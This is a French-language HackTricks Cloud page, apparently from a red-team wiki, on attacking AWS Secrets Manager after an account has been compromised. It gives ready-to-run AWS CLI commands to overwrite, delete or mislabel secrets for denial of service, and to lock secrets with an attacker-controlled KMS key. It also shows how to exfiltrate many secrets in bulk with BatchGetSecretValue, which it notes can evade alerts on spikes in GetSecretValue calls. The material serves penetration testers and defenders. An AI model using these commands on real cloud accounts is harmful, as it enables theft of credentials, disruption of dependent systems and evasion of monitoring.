AWS - Secrets Manager Post Exploitation
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le 💬 Discord group ou le telegram group ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
Secrets Manager
Pour plus d’informations, consultez :
Lire les secrets
Les secrets eux-mêmes sont des informations sensibles, consultez la page privesc pour apprendre comment les lire.
DoS Changer la valeur du secret
En changeant la valeur du secret, vous pourriez DoS tous les systèmes qui dépendent de cette valeur.
Warning
Notez que les valeurs précédentes sont également stockées, il est donc facile de revenir à la valeur précédente.
# Requires permission secretsmanager:PutSecretValue
aws secretsmanager put-secret-value \
--secret-id MyTestSecret \
--secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}"
DoS Change KMS key
Si l’attaquant dispose de la permission secretsmanager:UpdateSecret, il peut configurer le secret pour utiliser une KMS key appartenant à l’attaquant. Cette clé est initialement configurée de manière à ce que n’importe qui puisse y accéder et l’utiliser, ce qui permet de mettre à jour le secret avec la nouvelle clé. Si la clé n’était pas accessible, le secret ne pourrait pas être mis à jour.
Après avoir changé la KMS key du secret, l’attaquant modifie la configuration de sa KMS key afin que seul lui puisse y accéder. Ainsi, dans les versions ultérieures du secret, celui-ci sera chiffré avec la nouvelle KMS key et, comme il n’y aura plus d’accès à celle-ci, la possibilité de récupérer le secret sera perdue.
Il est important de noter que cette inaccessibilité ne se produira que dans les versions ultérieures, après que le contenu du secret aura changé, puisque la version actuelle est toujours chiffrée avec la KMS key originale.
aws secretsmanager update-secret \
--secret-id MyTestSecret \
--kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE
DoS Deleting Secret
Le nombre minimum de jours pour supprimer un secret est de 7
aws secretsmanager delete-secret \
--secret-id MyTestSecret \
--recovery-window-in-days 7
secretsmanager:RestoreSecret
Il est possible de restaurer un secret, ce qui permet de récupérer des secrets qui ont été programmés pour suppression, puisque la période minimale de suppression des secrets est de 7 jours et la maximale est de 30 jours. Associée à la permission secretsmanager:GetSecretValue, cela permet de récupérer leur contenu.
Pour récupérer un secret en cours de suppression, vous pouvez utiliser la commande suivante :
aws secretsmanager restore-secret \
--secret-id <Secret_Name>
secretsmanager:DeleteResourcePolicy
Cette action permet de supprimer la resource policy qui contrôle qui peut accéder à un secret. Cela pourrait entraîner un DoS si la resource policy était configurée pour autoriser l’accès à un ensemble spécifique d’utilisateurs.
Pour supprimer la resource policy :
aws secretsmanager delete-resource-policy \
--secret-id <Secret_Name>
secretsmanager:UpdateSecretVersionStage
Les états d’un secret servent à gérer ses versions. AWSCURRENT marque la version active utilisée par les applications, AWSPREVIOUS conserve la version précédente pour pouvoir revenir en arrière si nécessaire, et AWSPENDING est utilisé dans le processus de rotation pour préparer et valider une nouvelle version avant de la rendre courante.
Les applications lisent toujours la version marquée AWSCURRENT. Si quelqu’un déplace ce label vers la mauvaise version, les applications utiliseront des identifiants invalides et risquent d’échouer.
AWSPREVIOUS n’est pas utilisé automatiquement. Toutefois, si AWSCURRENT est supprimé ou réaffecté incorrectement, il peut sembler que tout fonctionne encore avec la version précédente.
aws secretsmanager update-secret-version-stage \
--secret-id <your-secret-name-or-arn> \
--version-stage AWSCURRENT \
--move-to-version-id <target-version-id> \
--remove-from-version-id <previous-version-id>
Mass Secret Exfiltration via BatchGetSecretValue (jusqu’à 20 par appel)
Abuse the Secrets Manager BatchGetSecretValue API to retrieve up to 20 secrets in a single request. Cela peut réduire considérablement le volume d’appels API comparé à l’itération de GetSecretValue pour chaque secret. Si des filtres sont utilisés (tags/name), la permission ListSecrets est également requise. CloudTrail enregistre néanmoins un événement GetSecretValue par secret récupéré dans le batch.
Required permissions
- secretsmanager:BatchGetSecretValue
- secretsmanager:GetSecretValue pour chaque secret ciblé
- secretsmanager:ListSecrets si –filters est utilisé
- kms:Decrypt on the CMKs used by the secrets (if not using aws/secretsmanager)
Warning
Notez que la permission
secretsmanager:BatchGetSecretValuen’est pas suffisante pour récupérer des secrets ; vous avez également besoin desecretsmanager:GetSecretValuepour chaque secret que vous souhaitez récupérer.
Exfiltrate by explicit list
aws secretsmanager batch-get-secret-value \
--secret-id-list <secret1> <secret2> <secret3> \
--query 'SecretValues[].{Name:Name,Version:VersionId,Val:SecretString}'
Exfiltrer par filtres (tag key/value ou préfixe de nom)
# By tag key
aws secretsmanager batch-get-secret-value \
--filters Key=tag-key,Values=env \
--max-results 20 \
--query 'SecretValues[].{Name:Name,Val:SecretString}'
# By tag value
aws secretsmanager batch-get-secret-value \
--filters Key=tag-value,Values=prod \
--max-results 20
# By name prefix
aws secretsmanager batch-get-secret-value \
--filters Key=name,Values=MyApp
Gestion des échecs partiels
# Inspect the Errors list for AccessDenied/NotFound and retry/adjust filters
aws secretsmanager batch-get-secret-value --secret-id-list <id1> <id2> <id3>
Impact
- Récupération rapide “smash-and-grab” de nombreux secrets avec moins d’appels API, pouvant potentiellement contourner des alertes configurées pour des pics de GetSecretValue.
- Les logs CloudTrail incluent toujours un événement GetSecretValue par secret récupéré par lot.
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le 💬 Discord group ou le telegram group ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

